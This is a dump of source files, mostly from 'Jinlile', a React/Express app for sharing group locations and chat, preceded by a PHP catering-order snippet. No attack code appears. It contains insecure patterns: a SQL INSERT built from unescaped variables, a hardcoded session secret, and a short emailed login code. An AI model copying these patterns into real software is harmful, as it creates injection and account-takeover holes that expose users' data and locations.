$query = mysqli_query($con, "INSERT INTO pesan (id_order, id, id_mitra, id_paket, jml_pesan, alamat_pesan, tgl_pesan, jam_pesan) VALUES(0, '$id', '$id_mitra', '$id_paket', '$jml_pesan', '$alamat_pesan', '$tgl_pesan', '$jam_pesan') ");
if($query){
echo "Pesan Paket Berhasil, Check your notif";
}else {
echo "gagal";
}
}
mysqli_close($con);
?> | 2587549391b7f0805cc4d0dc1ff5826fddeede9d | [
"SQL",
"PHP"
] | 20 | PHP | prasetiyo28/catering | bb6b6004e21f256453e3453b0ec0401a79ab09e5 | 9d9475158638ebeb8498f3779ee3e3f7f2bcf2f8 |
refs/heads/master | <file_sep>import * as EventEmitter from 'eventemitter3'
import { start as startPosition } from './position'
const event = new EventEmitter()
event.on('error', err => {
console.log(err)
})
export default event;
export { default as position } from './position';
export function start() {
startPosition()
}<file_sep>import React from 'react'
import ListGroup from 'react-bootstrap/ListGroup'
import Layout from '../components/layout'
import { Button, Container, Alert } from 'react-bootstrap'
import { withRouter } from "next/router";
import axios from "axios";
import withAuthentication from '../components/withAuthentication'
class Groups extends React.Component {
constructor(props) {
super(props)
this.state = {
groups: [],
alert: {
show: false,
content: '',
}
}
}
async componentDidMount() {
let groups = await this.getGroups()
this.setState({
...this.state,
groups: groups
})
}
async getGroups() {
try{
const user = JSON.parse(localStorage.getItem('user'))
const uid = user._id;
const { data } = await axios.get(`/users/${uid}`);
localStorage.setItem('userName',data.name);
const groups = data.groups ? data.groups : [];
// return [
// { name: 'My Family', gid: 'myFamily' },
// { name: 'My Friends', gid: 'myFriends' },
// { name: 'Hiking Team', gid: 'hikingTeam' },
// { name: 'Colleagues', gid: 'colleagues' },
// ]
return groups;
}catch (e) {
console.log(e)
switch(e.response.status) {
case 404:
let { router } = this.props
router.replace('/')
break
default:
console.log("error happens");
console.log(JSON.stringify(e));
}
}
return []
}
handleGroupSelect(group) {
localStorage.setItem('group', JSON.stringify(group));
let { router } = this.props;
router.push('/map');
}
selectGroups() {
return (
<>
<p className="mt-4 text-muted">You have multiple groups. Please select one to continue... </p>
<div>
<ListGroup className="mt-4" variant="flush">
{this.state.groups.map(group => (
<ListGroup.Item
as="div"
action={true}
key={group.groupName}
onClick={this.handleGroupSelect.bind(this, group)}
>
{group.groupName}
</ListGroup.Item>
))}
</ListGroup>
</div>
</>
)
}
async create() {
let groupName = window.prompt('Enter your group name:')
if (groupName == null) {
return
}
if (groupName == '') {
return this.setState({
alert: {
show: true,
content: 'Group name cannot be empty.',
}
})
}
try {
let { data } = await axios.post(`/groups/${groupName}`)
if (data.group) {
return this.handleGroupSelect(data.group)
}
this.setState({
alert: {
show: true,
content: data.msg
}
})
}
catch(e) {
this.setState({
alert: {
show: true,
content: e.message
}
})
}
}
async join() {
let groupName = window.prompt('Enter the group name you want to join')
if (groupName == null) {
return
}
if (groupName == '') {
return this.setState({
alert: {
show: true,
content: 'Group name cannot be empty'
}
})
}
try {
let { data } = await axios.post(`/users/groups/${groupName}`)
if (data.group) this.handleGroupSelect(data.group)
else {
this.setState({
alert: {
show: true,
content: data.msg
}
})
}
}
catch(e) {
this.setState({
alert: {
show: true,
content: e.message
}
})
}
}
render() {
return (
<Layout>
<Container>
<Alert dismissible onClose={() => this.setState({ alert: { show: false } })} className="mt-4" show={this.state.alert.show} variant="danger">{this.state.alert.content}</Alert>
{this.state.groups.length > 0 ? this.selectGroups() : ''}
<div className="mt-5">
<p className="text-muted">Want to have a new group?</p>
<Button onClick={() => this.create()} variant="dark" size="lg" className="btn-block">Create</Button>
<p className="text-muted mt-4">Or join a new group.</p>
<Button onClick={() => this.join()} variant="secondary" size="lg" className="btn-block">Join</Button>
</div>
</Container>
</Layout>
)
}
}
export default withAuthentication(withRouter(Groups))<file_sep>const dbConnection = require("./mongoConnection");
const getCollectionFn = collection => {
let _col = undefined;
return async () => {
if (!_col) {
const db = await dbConnection();
_col = await db.collection(collection);
}
return _col;
};
};
const collections = {
users: getCollectionFn("users"),
groups: getCollectionFn("groups")
};
async function indexes() {
let groups = await collections.groups();
groups.createIndex(
{ name: 1 },
{ unique: true },
(err, result) => {
if (err) console.log(err)
}
)
}
indexes()
module.exports = collections<file_sep>import React from 'react'
import Link from 'next/link'
import Layout from '../components/layout'
import GoogleMapReact from 'google-map-react'
import { Alert, Button } from 'react-bootstrap'
import events, { position } from '../events'
import Marker from '../components/marker'
import Spinner from 'react-bootstrap/Spinner'
import { FaBars, FaComments, FaPaperPlane, FaBell } from 'react-icons/fa'
import Form from "react-bootstrap/Form";
import InputGroup from 'react-bootstrap/InputGroup'
import Toast from 'react-bootstrap/Toast'
import { withRouter } from 'next/router'
import Icon from '../components/icon'
import config from '../jinlile.client.config'
import withAuthentication from '../components/withAuthentication'
import axios from 'axios'
import socketWrapper from '../components/socketio/socketHOC'
class Map extends React.Component {
constructor(props) {
super(props)
let group = null
try {
group = JSON.parse(localStorage.getItem('group'))
}
catch(e) {
console.log(e)
}
this.watching = true
this.state = {
center: { lat: 40.7448501, lng: -74.027187 },
defaultCenter: null,
// defaultCenter: { lat: 40.7448501, lng: -74.027187 },
alert: { show: false, content: '' },
markers: [],
loading: true,
toast: {
msg: '',
from: '',
time: '',
show: false,
type: ''
},
group
}
}
setCenter(center) {
if (this.watching == false) return
this.setState({
center
})
}
componentWillUnmount() {
this.watching = false
events.removeAllListeners('position', () => console.log('removed all position'))
}
async componentDidMount() {
// check geolocation is available
if ('geolocation' in navigator == false) {
let errMsg = 'Browser Does Not Support Location'
console.log(errMsg)
this.setState({
...this.state,
alert: { show: true, content: errMsg }
})
return
}
let center = await position.getCurrentPosition()
// Set the map to current location
this.setCenter(center)
this.setState({
defaultCenter: center
})
events.on('position', position => {
this.setCenter(position)
})
this.watchMarkers()
}
handleDrapEnd(map) {
// this.setCenter({ lat: map.center.lat(), lng: map.center.lng() })
}
async getFriendsPosition() {
let groupId = this.state.group.groupId
let { data } = await axios.get(`/users/group/${groupId}/positions`)
return data
// return [
// { name: 'Alice', lat: 40.7438877, lng: -74.0339645 },
// { name: 'Eric', lat: 40.747139, lng: -74.0306601 },
// { name: 'Amy', lat: 40.7335799, lng: -74.0345654 },
// ]
}
async watchMarkers() {
await this.getMarkers()
if (this.watching == false) return
setTimeout(() => this.watchMarkers(), 3000)
}
async getMarkers(zoom=14) {
// let myself = (
// <Marker
// name="You"
// iconIndex={this.simpleHash("You")}
// lat={this.state.center.lat}
// lng={this.state.center.lng}
// key="You"
// zoom={14}
// ></Marker>
// )
// let markers = [myself]
let markers = []
for (let f of await this.getFriendsPosition()) {
if (f.lat == null || f.lng == null) continue
markers.push(
<Marker
name={f.userName}
iconIndex={this.simpleHash(f.userName)}
lat={f.lat}
lng={f.lng}
key={f.userName}
zoom={14}
></Marker>
)
}
if (this.watching == false) return
this.setState({
...this.state,
markers
})
}
simpleHash(name='') {
let sum = 0;
for (let i = 0; i < name.length; i++) {
sum += name.charCodeAt(i)
}
return sum % 50 + 1
}
setLoading(loading) {
this.setState({
// ...this.state,
loading
})
}
sideIconRight() {
return (
//<FaBars color="#007bff" size="1.5rem" onClick={() => alert('testing')} className="flex-grow-0" />
<FaBars color="#007bff" size="1.5rem" onClick={() => this.props.router.push('/setting')} className="flex-grow-0" />
)
}
sideIconleft() {
return (
<a onClick={() => this.props.router.push("/chat")}>
<FaComments color="#007bff" size="1.5rem" className="flex-grow-0" />
</a>
)
}
componentDidUpdate(prevProps) {
if (this.props.chatHistory !== prevProps.chatHistory) {
let chatHistory = this.props.chatHistory
if (chatHistory.length>0){
let newmessage = chatHistory[chatHistory.length-1]
let { text: msg, title: from, date: msgDate, type } = newmessage
let nowDate = new Date()
let diffDate = nowDate.getTime() - msgDate.getTime()
diffDate = diffDate/1000
if (diffDate<=60){
this.showToast({ msg, from, time: 'Now', type })
}
}
}
}
sendMessage() {
let user = JSON.parse(localStorage.getItem('user'))
let group = JSON.parse(localStorage.getItem('group'))
let input = document.getElementById('message-input')
let msg = {
userId: user._id,
title: user.name,
position: 'right',
type: 'text',
text: input.value,
date: new Date()
}
this.props.onSendMessage(msg, (err) => {
return null
})
// this.showToast({ msg, from: 'You', time: 'Now' })
input.value = ""
}
toast() {
let { show, time, msg, from, type } = this.state.toast
let newToastState = {
...this.state.toast,
show: false
}
// msg = JSON.parse(JSON.stringify(msg))
// msg = msg.split('\n').map((item, i) => {
// return <p key={i}>{item}</p>;
// });
// type = 'text'
//let helpMsg = msg
let helpMsg = null
if (type == 'emergency') {
helpMsg = `<div style = "color: red">
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<br/>\n
!PLEASE HELP ME!<br/>\n
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</div>`
}
return (
<>
<Toast className="mt-3 align-self-center" style={{ display: show ? 'block' : 'none', zIndex: 1, width: '300px' }} show={show} onClose={() => this.setState({ ...this.state, toast: newToastState })}>
<Toast.Header>
<Icon name={from} className="rounded mr-2" style={{ width: '20px', height: '20px' }} />
<strong className="mr-auto">{from}</strong>
<small>{time}</small>
</Toast.Header>
<Toast.Body style={{ wordBreak: 'break-word' }}>
{ type == 'emergency' ? <div dangerouslySetInnerHTML={{ __html: helpMsg }}></div> : msg }
</Toast.Body>
</Toast>
</>
)
}
showToast({ msg, from, time, show=true, type }) {
this.setState({
...this.state,
toast: {
msg,
from,
time,
show,
type,
}
})
}
async needHelp() {
let user = JSON.parse(localStorage.getItem('user'))
let data = await this.getFriendsPosition()
data = data.find(m=>{return m.userId == user._id})
console.log(data)
let helpMsg = `!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<br/>\n
PLEASE HELP ME!<br/>\n
lat: ${data.lat}; <br/>\n lng: ${data.lng}; <br/>\n
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
let msg = {
userId: user._id,
title: user.name,
position: 'right',
type: 'emergency',
text: helpMsg,
date: new Date()
}
this.props.onSendMessage(msg, (err) => {
return null
})
// alert('Come to me! I need HELP!')
}
render() {
return (
<Layout sideIconRight={this.sideIconRight.bind(this)} sideIconLeft={this.sideIconleft.bind(this)}>
<div id="spinner">
<Spinner animation="border" role="status">
<span className="sr-only">Loading...</span>
</Spinner>
</div>
<div onClick={() => this.needHelp()} className="position-fixed text-danger" style={{ right: '13px', top: '70px', zIndex: 1, fontSize: '2rem' }}>
<FaBell />
</div>
<small style={{ zIndex: 1 }} className="text-muted">Icons made by <a href="https://www.flaticon.com/authors/freepik" title="Freepik">Freepik</a> from <a href="https://www.flaticon.com/" title="Flaticon">www.flaticon.com</a></small>
<Alert
dismissible
show={this.state.alert.show}
onClose={ () => this.setState({ alert: {show: false, content: ''} }) }
style={{ zIndex: 1 }}
variant="danger">
Test
</Alert>
{this.toast()}
{(this.state.defaultCenter != null)
?
<div id="map-container">
<GoogleMapReact
onGoogleApiLoaded={this.setLoading.bind(this, false)}
bootstrapURLKeys={{ key: config.google_map_api_key }}
yesIWantToUseGoogleMapApiInternals={true}
defaultZoom={14}
options={{zoomControl:false}}
defaultCenter={this.state.defaultCenter}
// center={this.state.center}
onDragEnd={this.handleDrapEnd.bind(this)}
>
{this.state.markers}
</GoogleMapReact>
<div className="container" id="message-input-container">
<InputGroup>
<Form.Control id="message-input" size="lg" placeholder="Message..."></Form.Control>
<InputGroup.Append>
<Button as="div" onClick={this.sendMessage.bind(this)} variant="primary">
<FaPaperPlane style={{width: '2rem', fontSize: '1.3rem'}} />
</Button>
</InputGroup.Append>
</InputGroup>
</div>
</div> : ''
}
<style jsx>{`
#map-container {
top: 0;
left: 0;
position: fixed;
height: 100%;
width: 100%;
z-index: 0;
}
#message-input-container {
position: relative;
bottom: 13%;
}
#spinner {
position: fixed;
width: 100%;
height: 100%;
display: ${this.state.loading == true ? 'flex' : 'none'};
justify-content: center;
align-items: center;
left: 0;
top: 0;
}
`}</style>
</Layout>
)
}
}
export default withAuthentication(socketWrapper(withRouter(Map)))<file_sep>module.exports = (req, res, next) => {
if (!req.session.user || !req.session.user.loggedIn) {
return res.status(401).send({ errCode: 401, msg: 'Please Login' })
}
next()
}<file_sep>import event from './index'
import axios from 'axios'
import { debounce } from 'throttle-debounce'
const interval = 3000
export function getCurrentPosition() {
return new Promise((resolve, reject) => {
navigator.geolocation.getCurrentPosition(position => {
resolve({
lat: position.coords.latitude,
lng: position.coords.longitude
})
}, err => {
console.log(err)
reject(err)
}, {
maximumAge: 0,
timeout: 6000,
enableHighAccuracy: true,
})
})
}
let intervalId = null
async function emitPositionEvent() {
let position = { lng: null, lat: null }
try {
position = await getCurrentPosition()
event.emit('position', position)
}
catch(e) {
event.emit('error', e)
}
try {
let group = JSON.parse(localStorage.getItem('group'))
if (group) {
axios.put('/users/position', position)
}
}
catch(e) {
console.log(e)
}
return position
}
export async function start() {
await emitPositionEvent()
if (intervalId != null) return intervalId
intervalId = setInterval(debounce(interval - 500, async () => {
await emitPositionEvent()
}), interval)
return intervalId
}
export function stop() {
if (intervalId != null) {
clearInterval(intervalId)
}
return intervalId
}
export default { start, stop, getCurrentPosition }
<file_sep>const redis = require('redis')
const session = require('express-session')
const RedisStore = require('connect-redis')(session)
let client = redis.createClient()
var store = new RedisStore({ client })
module.exports = store<file_sep>var express = require('express');
var router = express.Router();
const data = require("../database/src");
const userData = data.users;
const groupData = data.groups
const authenticate = require('../middlewares/authenticate')
router.use(authenticate)
router.post('/:groupName', async (req, res, next) => {
let { groupName } = req.params
let group = null
try {
group = await groupData.getByGroupName(groupName)
}
catch(e) {
let createdGroup = await groupData.create(groupName)
let { user } = req.session
await groupData.addUserToGroup(groupName, user._id, user.name)
await userData.addGroupToUser(user.name, createdGroup._id, groupName)
createdGroup = await groupData.getById(createdGroup._id)
user = await userData.getById(user._id, { email_code: 0 })
Object.assign(req.session.user, user)
return res.send({ msg: 'ok', group: { groupId: createdGroup._id, groupName: createdGroup.name } })
}
return res.send({ msg: 'group exists' })
})
module.exports = router<file_sep>const session = require('express-session')
const store = require('./redisStore')
module.exports = session({
store: store,
secret: 'Jinlile Tech',
resave: false,
saveUninitialized: false,
})<file_sep>import React, { Component } from 'react'
import socketFunc from './socketFunc'
const io = require('socket.io-client')
var socketState = {
client: null,
roomEntered: false,
chatHistory: []
}
function disconnectSocket(){
console.log('on client disconnectSocket')
socketState.client.disconnect()
socketState.client = null
socketState.roomEntered = false
socketState.chatHistory = []
}
function resetSocket(){
socketState.client.unregisterHandler()
socketState.roomEntered = false
socketState.chatHistory = []
}
function changeName(id, newName){
for (let i=0; i<socketState.chatHistory.length; i++){
if (socketState.chatHistory[i].userId == id){
socketState.chatHistory[i].title = newName
}
}
}
function retSocketState(k){
return socketState[k]
}
function socketHandler(k, v) {
if (k===null){
return socketState
}
else{
socketState[k] = v
return socketState
}
}
function addregisterHandler(func) {
socketState.client.registerHandler(func)
return socketState
}
function addDisAndReconnect(disconnect, reconnect) {
socketState.client.disAndReconnect(disconnect, reconnect)
return socketState
}
function addHistory(entry) {
socketState.chatHistory = socketState.chatHistory.concat(entry)
return socketState
}
const socketWrapper = (ComponentToWrap) => {
return class chatComponent extends Component {
constructor(props) {
super(props)
this.state = {
socketState: socketHandler(null, null),
chatHistory: []
}
this.onEnterChatroom = this.onEnterChatroom.bind(this)
this.onLeaveChatroom = this.onLeaveChatroom.bind(this)
this.register = this.register.bind(this)
this.onLogOut = this.onLogOut.bind(this)
this.onMessageReceived = this.onMessageReceived.bind(this)
this.getUserGroup = this.getUserGroup.bind(this)
this.disconnect = this.disconnect.bind(this)
this.reconnect = this.reconnect.bind(this)
}
componentDidUpdate(_, prevState) {
console.log('...componentDidupdate...')
if (this.state.chatHistory !== prevState.chatHistory){
socketState = socketHandler('chatHistory', this.state.chatHistory)
this.setState({socketState, socketState})
}
}
addUserandEnterToom() {
socketState = socketHandler(null, null)
this.setState({
socketState, socketState
})
console.log('HOC did mount', this.state.socketState)
if (socketState.roomEntered === false){
let {user, group} = this.getUserGroup()
user = user
group = group
console.log('hoc did mount enter, user and group',user, group)
let client = retSocketState('client')
console.log(client)
if (client === null){
client = socketFunc()
}
this.register(client, user._id)
socketState = socketHandler('client', client)
let roomEntered = true
this.setState({
socketState, socketState
})
this.onEnterChatroom(
group.groupId,
() => null,
chatHistoryServer => {
console.log('on enter chat room and get history:')
let filtedChatHistory = []
for (let i=0; i<chatHistoryServer.length; i++){
if ('message' in chatHistoryServer[i]){
let message = chatHistoryServer[i].message
message.date = new Date(message.date)
filtedChatHistory.push(message)
}
}
this.setState({chatHistory: filtedChatHistory})
}
)
socketState = socketHandler('roomEntered', roomEntered)
this.setState({
socketState, socketState
})
console.log('socketState:', socketState)
}
let client = retSocketState('client')
if (client){
client.unregisterHandler()
client.unRegisterDisAndReconnect()
}
addregisterHandler(this.onMessageReceived)
addDisAndReconnect(this.disconnect, this.reconnect)
console.log('HOC state', this.state)
//console.log('ret group', retSocketState('group').groupId)
}
componentDidMount(){
this.addUserandEnterToom()
}
componentWillUnmount() {
let client = retSocketState('client')
if (client){
client.unregisterHandler()
client.unRegisterDisAndReconnect()
}
}
disconnect() {
socketHandler('roomEntered', false)
}
reconnect() {
console.log('try to reconnect')
this.addUserandEnterToom()
}
getUserGroup(){
const user = JSON.parse(localStorage.getItem('user'));
const group = JSON.parse(localStorage.getItem('group'));
console.log('user and group:')
console.log(user, group)
return {user: user, group: group}
}
onEnterChatroom(chatroomId, onNoUserSelected, onEnterSuccess) {
//if (!this.state.socketState.user)
// return onNoUserSelected()
console.log('enter chatroom success ......')
return this.state.socketState.client.join(chatroomId, (err, chatHistory) => {
if (err)
return console.error(err)
return onEnterSuccess(chatHistory)
})
}
onLeaveChatroom(chatroomId, onLeaveSuccess) {
this.state.socketState.client.leave(chatroomId, (err) => {
if (err)
return console.error(err)
return onLeaveSuccess()
})
}
onLogOut() {
disconnectSocket()
}
register(client, name) {
if (client){
client.register(name, (err, user) => {
return null
})
}
}
onMessageReceived(entry) {
console.log('onMessageReceived:', entry)
if ('message' in entry){
entry = entry.message
entry.date = new Date(entry.date)
changeName(entry.userId, entry.title)
addHistory(entry)
}
this.setState({
socketState: socketHandler(null, null)
})
}
getSocketState(){
let socket = retSocketState('client')
if (socket){
return socket.state().id
}
else{
return socket
}
}
render() {
return (
<ComponentToWrap
onLogOut = {
() => this.onLogOut()
}
onLeave = {
() => this.onLeaveChatroom(
JSON.parse(localStorage.getItem('group')).groupId,
() => resetSocket()
)
}
onSendMessage = {
(message, cb) => this.state.socketState.client.message(
JSON.parse(localStorage.getItem('group')).groupId,
//retSocketState('group').groupId,
message,
cb
)
}
//user={JSON.parse(localStorage.getItem('user'))}
//group={JSON.parse(localStorage.getItem('group'))}
chatHistory={retSocketState('chatHistory')}
{...this.props}
/>
)
}
}
}
export default socketWrapper<file_sep>import React from 'react'
class Icon extends React.Component {
simpleHash(name='') {
let sum = 0;
for (let i = 0; i < name.length; i++) {
sum += name.charCodeAt(i)
}
return sum % 50 + 1
}
render() {
let { name } = this.props
return (
<>
<img src={`/icons/icon-${this.simpleHash(name)}.svg`} alt={name} {...this.props} />
<style jsx>{`
img {
width: 100%;
height: 100%;
filter: drop-shadow(3px 3px 2px #222);
}
`}</style>
</>
)
}
}
export default Icon<file_sep># Jinlile
In order to have a better experience, you can use your phone to test. When we developing this platform, we have tried various way to fix bugs caused by storage from the front end. It seems that we have fix all. But to make our platform running smoothly, we recommend you to use the private mode in your phone or incognito mode in your browser. Thank you!
## Live Demo:
[Jinlile](https://jinlile.tech)
https://jinlile.tech
Please allow the website to get your location
---
## Setup
1. Clone the repository
```
git clone https://github.com/Lianghai-Yang/Jinlile.git
```
2. `cd Jinlile/server`
3. `npm install`
4. Rename `jinlile.server.config.example.js` to `jinlile.server.config.js`
5. Set configuration in `jinlile.server.config.js`
6. Run `npm start`
7. Change directory to `Jinlile/Client`, run `npm install`
8. Rename `jinlile.client.config.example.js` to `jinlile.client.config.js`
9. Set your `google_map_api_key`,`api_base_url`,`socketio_url` in `jinlile.client.config.js`
10. Run `npm start`
---
## Server
### Database Structure
```
users {
_id: String,
name: String,
email: String,
groups: [
{
groupId: String,
groupName: String
}
],
email_code: String,
}
groups {
_id: String,
name: String,
users: [
{
userId: String,
userName: String,
}
],
messages: [
{
userId: String,
name: String,
content: String,
time: Timestamp,
}
]
}
```
<file_sep>const config = require('./jinlile.server.config')
const nodemailer = require('nodemailer')
const mailer = nodemailer.createTransport({
host: config.SMTP_SERVER,
port: config.SMTP_PORT,
secure: true,
auth: {
user: config.SMTP_USER,
pass: config.SMTP_PASS,
}
})
module.exports = mailer<file_sep>import React from 'react'
import Layout from "../components/layout";
import Form from "react-bootstrap/Form";
import { Button, Alert, Container } from 'react-bootstrap';
import { withRouter } from 'next/router';
import axios from "axios";
class Login extends React.Component {
constructor(props) {
super(props)
let imgNum = parseInt(Math.random() * 50)
this.state = {
showAlert: false,
imgNum: imgNum,
email: undefined
}
this.handleEmailChange = this.handleEmailChange.bind(this);
}
async handleLogin(event) {
let validation = document.getElementById('login-form').checkValidity()
const email = this.state.email;
if (validation == false) {
return this.showAlert(true)
}
this.showAlert(false)
let result = await this.sendCode(email)
this.props.router.replace('/code')
}
showAlert(show=true) {
this.setState({
...this.state,
showAlert: show
})
}
async sendCode(email) {
let params = { email:email };
const { data } = await axios.post(`/users/code`, params);
localStorage.setItem('user', JSON.stringify(data.user));
return true
}
async handleEmailChange(event) {
let value = event.target.value;
//console.log("handleEmail : " + value);
this.setState({email:value});
}
render() {
return (
<Layout>
<Container>
<div className="d-flex justify-content-center flex-wrap mt-5">
<div id="form-container" className="w-100">
<div className="w-100 d-flex justify-content-center">
<img className="w-50 h-50 img-fluid" src={`/icons/icon-${this.state.imgNum}.svg`} alt="logo-image"/>
</div>
<div className="w-100 mt-5">
<Form id="login-form" onSubmit={event => event.preventDefault()}>
<Form.Control required size="lg" type="email" placeholder="Enter email" onChange={this.handleEmailChange} />
<Button size="lg" className="btn-block mt-3" variant="dark" onClick={this.handleLogin.bind(this)}>Login</Button>
</Form>
</div>
<Alert show={this.state.showAlert} className="mt-3 w-100" variant="dark" dismissible onClose={() => this.showAlert(false)}>
Please enter a valid email.
</Alert>
<style jsx>{`
// Medium devices (tablets, 768px and up)
@media (min-width: 768px) {
#form-container {
max-width: 400px;
}
}
img {
filter: drop-shadow(5px 5px 5px #222);
}
`}</style>
</div>
</div>
</Container>
</Layout>
)
}
}
export default withRouter(Login)
<file_sep>const userData = require("./users");
const groupData = require("./groups");
module.exports = {
users:userData,
groups:groupData
};
<file_sep>import React from 'react'
import { Navbar } from 'react-bootstrap'
class JinlileNav extends React.Component {
constructor(props) {
super(props)
this.state = {
sideIconLeft: () => {},
sideIconRight: () => {}
}
if (props.sideIconLeft) {
this.state.sideIconLeft = props.sideIconLeft
}
if (props.sideIconRight) {
this.state.sideIconRight = props.sideIconRight
}
}
render() {
let { title } = this.props
return (
<>
<Navbar className="justify-content-center" bg="light" variant="light">
<div className="flex-grow-0">
{this.state.sideIconLeft()}
</div>
<Navbar.Brand onClick={() => document.body.requestFullscreen()} className="flex-grow-1 text-center m-0 flex-shrink-1 text-primary">{title ? title : 'Jinlile'}</Navbar.Brand>
<div className="flex-grow-0">
{this.state.sideIconRight()}
</div>
</Navbar>
</>
)
}
}
export default JinlileNav<file_sep>//const dbConnection = require("../database/data/mongoConnection");
const dbConnection = require("../src/mongoConnection")
const data = require("../src");
const users = data.users;
const groups = data.groups;
const main = async () => {
const db = await dbConnection();
await db.dropDatabase();
try{
let Yang = await users.create("<NAME>", "<EMAIL>", [],"default");
let Wang = await users.create("<NAME>", "<EMAIL>", [],"default");
let Guo = await users.create("<NAME>", "<EMAIL>", [],"default");
let Hai = await users.create("<NAME>", "<EMAIL>", [],"default");
let group1 = await groups.create("Colleagues", [], []);
let group2 = await groups.create("Hiking Team", [], []);
await groups.addUserToGroup(group1.name,Hai._id,Hai.name);
await groups.addUserToGroup(group1.name,Wang._id,Wang.name);
await groups.addUserToGroup(group2.name,Guo._id,Guo.name);
await groups.addUserToGroup(group2.name,Yang._id,Yang.name);
await users.addGroupToUser(Wang.name,group1._id,group1.name);
await users.addGroupToUser(Hai.name,group1._id,group1.name);
await users.addGroupToUser(Yang.name,group2._id,group2.name);
await users.addGroupToUser(Guo.name,group2._id,group2.name);
await groups.addMessageToGroup(group1.name,Hai._id,Hai.name,"hello guys in Colleagues from LiangHai", new Date() );
await groups.addMessageToGroup(group1.name,Wang._id,Wang.name,"Im Wang", new Date() );
await groups.addMessageToGroup(group2.name,Guo._id,Guo.name,"hello guys in Hiking Team", new Date() );
await db.serverConfig.close();
}
catch(e){
console.log(e);
await db.serverConfig.close();
}
};
main().catch(console.log);
<file_sep>import React from "react";
import Layout from '../components/layout';
import Form from 'react-bootstrap/Form';
import Link from 'next/link';
import { Alert, Container } from 'react-bootstrap';
import { withRouter } from 'next/router';
import axios from "axios";
class Code extends React.Component {
constructor(props) {
super(props)
this.state = {
alert: {
show: false,
content: ''
},
userData: {}
}
}
async componentDidMount() {
// let email = localStorage.getItem('email')
// if (email == null) {
// return this.setState({ alert: { show: true, content: 'Invalid User' } })
// }
// let userData = JSON.parse(user)
// this.setState({
// userData: {
// ...this.state.userData,
// ...userData
// }
// })
}
async handleNumberChange(event) {
let keyCode = event.keyCode
let currentInput = event.currentTarget
let value = currentInput.value
// backspace
if (keyCode == 8) {
let prevInput = currentInput.previousElementSibling
if (prevInput != null && currentInput.value == '') {
prevInput.focus()
}
return
}
let range = value - '0'
if (isNaN(range)) {
event.preventDefault()
currentInput.value = ''
return false
}
let nextInput = currentInput.nextElementSibling
// currentInput.value = event.key
event.preventDefault()
if (nextInput != null) {
nextInput.focus()
return
}
// validate the code
let inputs = Array.from(document.getElementsByClassName('number-input'))
if (inputs == null) return
let code = inputs.map(input => input.value).reduce((str, char) => `${str}${char}`, '')
let validatedCode = await this.validateCode(code)
if (validatedCode == false) {
this.setState({
...this.state,
alert: {
show: true,
content: 'Oops... It seems somthing wrong. Please check and confirm the code in your email.'
}
})
return
}
// validated code, direct to map page
let { router } = this.props
router.replace('/groups')
}
// TODO: send request to validate the code
async validateCode(code) {
let { data } = await axios.get(`/users/code/${code}/validated`)
return data.msg && data.msg === true
}
render() {
let inputSize = '4'
return (
<Layout>
<Container>
<style type="text/css">{`
.number-input {
width: ${inputSize}rem;
height: ${inputSize}rem;
font-size: ${inputSize - 1}rem;
text-align: center;
line-height: 0;
}
@media (min-width: 768px) {
.input-container {
max-width: 300px;
}
}
`}</style>
<div className="mt-5 d-flex justify-content-center flex-wrap">
<div className="input-container">
<p className="text-muted">We have sent an email to you. <br /> Please enter the code in your email below:</p>
<div className="d-flex justify-content-center mt-5">
<Form.Control type="text" onKeyUp={event => this.handleNumberChange(event)} maxLength="1" className="number-input ml-2 mr-2" />
<Form.Control type="text" onKeyUp={event => this.handleNumberChange(event)} maxLength="1" className="number-input ml-2 mr-2" />
<Form.Control type="text" onKeyUp={event => this.handleNumberChange(event)} maxLength="1" className="number-input ml-2 mr-2" />
<Form.Control type="text" onKeyUp={event => this.handleNumberChange(event)} maxLength="1" className="number-input ml-2 mr-2" />
</div>
<p className="text-muted mt-5">Or you would like to change your email address? Click <Link replace href="/login"><a>HERE</a></Link> </p>
</div>
<Alert show={this.state.alert.show} variant="dark" dismissible onClose={() => this.setState({...this.state, alert:{show: false}})}>
{this.state.alert.content}
</Alert>
</div>
</Container>
</Layout>
)
}
}
export default withRouter(Code)<file_sep>const validator = require('validator')
var express = require('express');
var router = express.Router();
const data = require("../database/src");
const userData = data.users;
const groupData = data.groups
const mailer = require('../mailer')
const authenticate = require('../middlewares/authenticate')
const redis = require('../redisClient')
// const validator = require('validator')
// /* GET users listing. */
// router.get('/', function(req, res, next) {
// res.send('respond with a resource');
// });
router.get("/code/:code/validated", async (req, res) => {
try{
let userCode = req.params.code
const uid = req.session.user._id;
if (!uid) {
return res.status(400).send({ msg: 'invalid user' })
}
const { email_code: code } = await userData.getById(uid, { email_code: 1 });
if (code == userCode) {
const user = await userData.getById(uid, { email_code: 0 })
user.loggedIn = true
req.session.user = user
res.send({ msg: true, user })
}
else {
res.send({ msg: false })
}
}catch(e){
console.log(e)
res.sendStatus(500);
}
});
router.post("/code", async (req,res) => {
const emailInfo = req.body;
let { email } = emailInfo
if (!email) {
res.status(400).send({ msg: 'missing email' })
}
if (validator.isEmail(email) == false) {
return res.status(400).send({ msg: 'invalid email' })
}
try{
// const email = emailInfo.email;
const code = await userData.createCode(email);
mailCode({ code, email })
const userInfo = await userData.getByUserEmail(email, { _id: 1, name: 1})
req.session.user = {
...userInfo,
loggedIn: false
}
res.send({ msg: 'sent', user: userInfo })
}catch(e){
console.log(e)
res.sendStatus(500);
}
});
router.use(authenticate)
/**
* ===================================================
* Authentication Required for routes below this line!
* ===================================================
*/
// router.put('./userName', async(req,res) =>{
// console.log("we hit put userName in router");
// const newNameInfo = req.body;
// let {newName} = newNameInfo;
// const user = req.session.user;
// if (!newName) {
// res.status(400).send({ msg: 'missing newName' });
// }
// if(!user){
// res.status(400).send({ msg: 'missing user in req.session' });
// }
// try{
// const updatedUser = await userData.updateUserNameById(user._id,newName);
// req.session.user = {
// ...updatedUser,
// loggedIn: true
// }
// res.send({ msg: 'sent', user: updatedUser });
// }catch(e){
// console.log(e)
// res.sendStatus(500);
// }
// })
router.post('/logout', async (req,res) =>{
try{
req.session = undefined;
res.send({ msg: 'logout' });
}catch(e){
console.log(e)
res.sendStatus(500);
}
})
router.post('/userName', async (req,res) =>{
const newNameInfo = req.body;
let {newName} = newNameInfo;
const user = req.session.user;
if (!newName) {
res.status(400).send({ msg: 'missing newName' });
}
if(!user){
